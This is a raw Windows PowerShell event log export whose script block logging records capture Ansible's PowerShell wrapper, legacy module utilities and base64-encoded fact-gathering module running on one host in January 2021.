'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 290ab7aa-aecc-4728-a640-3dccfe5a6619
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2080 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4364 | 4120 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:34 AM | 61e00a24-ee3b-0001-550b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: a0a13c27-6356-46d5-8f27-c2e447aab09b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2079 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4364 | 4120 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:33 AM | 61e00a24-ee3b-0001-460b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
H0KfQoKJHJlc3VsdC5hbnNpYmxlX2ZhY3RzICs9ICRhbnNpYmxlX2ZhY3RzCgpFeGl0LUpzb24gJHJlc3VsdAo=", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "gather_timeout": 10, "_ansible_module_name": "setup", "_ansible_remote_tmp": "%TEMP%", "_ansible_verbosity": 2, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "gather_subset": ["all"], "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: b838ee6c-ed18-4d51-aa91-d7051138f798
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2078 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4364 | 4120 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:33 AM | 61e00a24-ee3b-0001-400b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
oZXJfc3Vic2V0LkNvbnRhaW5zKCdiaW9zJykpIHsKICAgICR3aW4zMl9iaW9zID0gR2V0LUxhenlDaW1JbnN0YW5jZSBXaW4zMl9CaW9zCiAgICAkd2luMzJfY3MgPSBHZXQtTGF6eUNpbUluc3RhbmNlIFdpbjMyX0NvbXB1dGVyU3lzdGVtCiAgICAkYW5zaWJsZV9mYWN0cyArPSBAewogICAgICAgIGFuc2libGVfYmlvc19kYXRlID0gJHdpbjMyX2Jpb3MuUmVsZWFzZURhdGUuVG9TdHJpbmcoIk1NL2RkL3l5eXkiKQogICAgICAgIGFuc2libGVfYmlvc192ZXJzaW9uID0gJHdpbjMyX2Jpb3MuU01CSU9TQklPU1ZlcnNpb24KICAgICAgICBhbnNpYmxlX3Byb2R1Y3RfbmFtZSA9ICR3aW4zMl9jcy5Nb2RlbC5UcmltKCkKICAgICAgICBhbnNpYmxlX3Byb2R1Y3Rfc2VyaWFsID0gJHdpbjMyX2Jpb3MuU2VyaWFsTnVtYmVyCiAgICAgICAgIyBhbnNpYmxlX3Byb2R1Y3RfdmVyc2lvbiA9IChbc3RyaW5nXSAkd2luMzJfY3MuU3lzdGVtRmFtaWx5KQogICAgfQp9CgppZigkZ2F0aGVyX3N1YnNldC5Db250YWlucygnZGF0ZV90aW1lJykpIHsKICAgICRkYXRldGltZSA9IChHZXQtRGF0ZSkKICAgICRkYXRldGltZV91dGMgPSAkZGF0ZXRpbWUuVG9Vbml2ZXJzYWxUaW1lKCkKICAgICRkYXRlID0gQHsKICAgICA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gd2FzIHJlbmFtZWQgZnJvbSBhbnNpYmxlX3dpbnJtX2NlcnRpZmljYXRlX2V4cGlyZXMgZHVlIHRvIGNvbGxpc2lvbiB3aXRoIGFuc2libGVfd2lucm1fWCBjb25uZWN0aW9uIHZhciBwYXR0ZXJuCiAgICAgICAgJGFuc2libGVfZmFjdHMuQWRkKCJhbnNpYmxlX3dpbl9ybV9jZXJ0aWZpY2F0ZV9leHBpcmVzIiwgJHdpbnJtX2NlcnRfZXhwaXJhdGlvbnNbMF0uTm90QWZ0ZXIuVG9TdHJpbmcoInl5eXktTU0tZGQgSEg6bW06c3MiKSkKICAgI
ScriptBlock ID: b838ee6c-ed18-4d51-aa91-d7051138f798
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2077 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4364 | 4120 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:33 AM | 61e00a24-ee3b-0001-400b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
AgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbWV0ZXIgJyRuYW1lJyBpcyBub3QgYSBZQU1MIGxpc3QuIgogICAgICAgICAgICB9CiAgICAgICAgICAgICMgLCBpcyBub3QgYSB0eXBvLCBmb3JjZXMgaXQgdG8gcmV0dXJuIGFzIGEgbGlzdCB3aGVuIGl0IGlzIGVtcHR5IG9yIG9ubHkgaGFzIDEgZW50cnkKICAgICAgICAgICAgcmV0dXJuICwkdmFsdWUKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuICR2YWx1ZQp9CgojQW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QgaW4gZ2F0aGVyX3N1YnNldCIKICAgICAgICB9CiAgICB9Cn0KClt2b2lkXSAkZ2F0aGVyX3N1YnNldC5FeGNlcHRXaXRoKCRleGNsdWRlX3N1YnNldCkKW3ZvaWRdICRnYXRoZXJfc3Vic2V0LlVuaW9uV2l0aCgkZXhwbGljaXRfc3Vic2V0KQoKJGFuc2libGVfZmFjdHMgPSBAewogICAgZ2F0aGVyX3N1YnNldD1AKCRnYXRoZXJfc3Vic2V0X3NvdXJjZSkKICAgIG1vZHVsZV9zZXR1cD0kdHJ1ZQp9Cgokb3N2ZXJzaW9uID0gW0Vudmlyb25tZW50XTo6T1NWZXJzaW9uCgppZigkZ2F0aGVyX3N1YnNldC5Db250YWlucygnYWxsX2lwdjRfYWRkcmVzc2VzJykgLW9yICRnYXRoZXJfc3Vic2V0LkNvbnRhaW5zKCdhbGxfaXB2Nl9hZGRyZXNzZXMnKSkgewogICAgJG5ldGNmZyA9IEdldC1MYXp5Q2ltSW5zdGFuY2UgV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9uCiAgICAKICAgICMgVE9ETzogc3BsaXQgdjQvdjYgcHJvcGVybHksIHJldHVybiBpbiBzZXBhcmF0ZSBrZXlzCiAgICAkaXBzID0gQCgpCiAgICBGb3JlYWNoICgkaXAgaW4gJG5ldGNmZy5JUEFkZHJlc3MpIHsKICAgICAgICBJZiAoJGlwKSB7CiAgICAgICAgICAgICRpcHMgKz0gJGlwCiAgICAgICAgfQogICAgfQoKICAgICRhbnNpYmxlX2ZhY3RzICs9IEB7CiAgICAgICAgYW5zaWJsZV9pcF9hZGRyZXNzZXMgPSAkaXBzCiAgICB9Cn0KCmlmKCRnYXR
ScriptBlock ID: b838ee6c-ed18-4d51-aa91-d7051138f798
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2076 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4364 | 4120 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:33 AM | 61e00a24-ee3b-0001-400b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3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XQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlcy9zaW1wbGlmaWVkX2JzZC50eHQgb3IgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9CU0QtMi1DbGF1c2UpCgpTZXQtU3RyaWN0TW9kZSAtVmVy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aCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgIC
ScriptBlock ID: b838ee6c-ed18-4d51-aa91-d7051138f798
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2075 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4364 | 4120 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:33 AM | 61e00a24-ee3b-0001-400b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2074 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4364 | 4468 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:33 AM | 61e00a24-ee3b-0003-4e0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4364 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2073 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4364 | 4112 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:33 AM | 61e00a24-ee3b-0003-4e0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2072 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4364 | 4468 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:33 AM | 61e00a24-ee3b-0003-4e0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Error Message = Exception calling ".ctor" with "1" argument(s): "Value was invalid.
Parameter name: sddlForm"
Fully Qualified Error ID = ConstructorInvokedThrowException,Microsoft.PowerShell.Commands.NewObjectCommand
Context:
Severity = Warning
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = eaf8534a-4615-4f71-8716-54b6677c372f
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 1530384c-91b2-4441-a8a5-16c13b63271e
Pipeline ID = 6
Command Name = New-Object
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 33
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4100 | 1 | | 3 | 106 | 19 | 0 | 2071 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4932 | 4960 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:26 AM | 61e00a24-ee3b-0003-2d0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | To be used when an exception is raised | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
